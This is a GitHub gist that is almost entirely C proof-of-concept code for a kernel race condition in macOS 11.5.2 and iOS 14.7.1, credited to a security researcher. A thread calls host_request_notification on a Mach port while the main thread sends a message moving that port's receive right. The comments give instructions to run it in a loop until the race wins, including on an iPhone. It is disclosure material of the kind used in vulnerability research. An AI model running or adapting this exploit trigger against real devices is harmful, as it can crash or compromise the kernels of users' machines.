Skip to content

Instantly share code, notes, and snippets.

@infernalheaven
Created September 16, 2021 02:18
Show Gist options
  • Star 29 You must be signed in to star a gist
  • Fork 18 You must be signed in to fork a gist
  • Save infernalheaven/f2f6a2fa2ec1b2252955fb8078211da1 to your computer and use it in GitHub Desktop.
Save infernalheaven/f2f6a2fa2ec1b2252955fb8078211da1 to your computer and use it in GitHub Desktop.
macOS 11.5.2/iOS 14.7.1 Kernel Race Condition poc
/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>
#include <mach/thread_status.h>
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} port_msg_send_t;
#define MACH_ERR(str, err) do { \
if (err != KERN_SUCCESS) { \
mach_error("[-]" str "\n", err); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define FAIL(str) do { \
printf("[-] " str "\n"); \
exit(EXIT_FAILURE); \
} while (0)
#define LOG(str) do { \
printf("[+] " str"\n"); \
} while (0)
int g_start = 0;
mach_port_t reply_port = MACH_PORT_NULL;
void *racer(void *param) {
int err;
while(!g_start) {}
// usleep(1);
err = host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, reply_port);
MACH_ERR("host_request change to kobject", err);
return NULL;
}
/*
if race failed ->
mach_port_guard_exception(name, 0, 0, kGUARD_EXC_IMMOVABLE);
show EXC_GUARD in userspace if you wanna try this on iPhone, open the app many times until the race wins
*/
int main() {
int err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
mach_port_insert_right(mach_task_self(), reply_port, reply_port, MACH_MSG_TYPE_MAKE_SEND);
MACH_ERR("allocating reply port", err);
pthread_t id = 0;
pthread_create(&id, NULL, racer, NULL);
g_start = 1;
port_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = 0;
msg.header.msgh_remote_port = reply_port;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.port.name = reply_port;
msg.port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
usleep(1);
err = mach_msg_send(&msg.header);
MACH_ERR("sending task port message", err);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment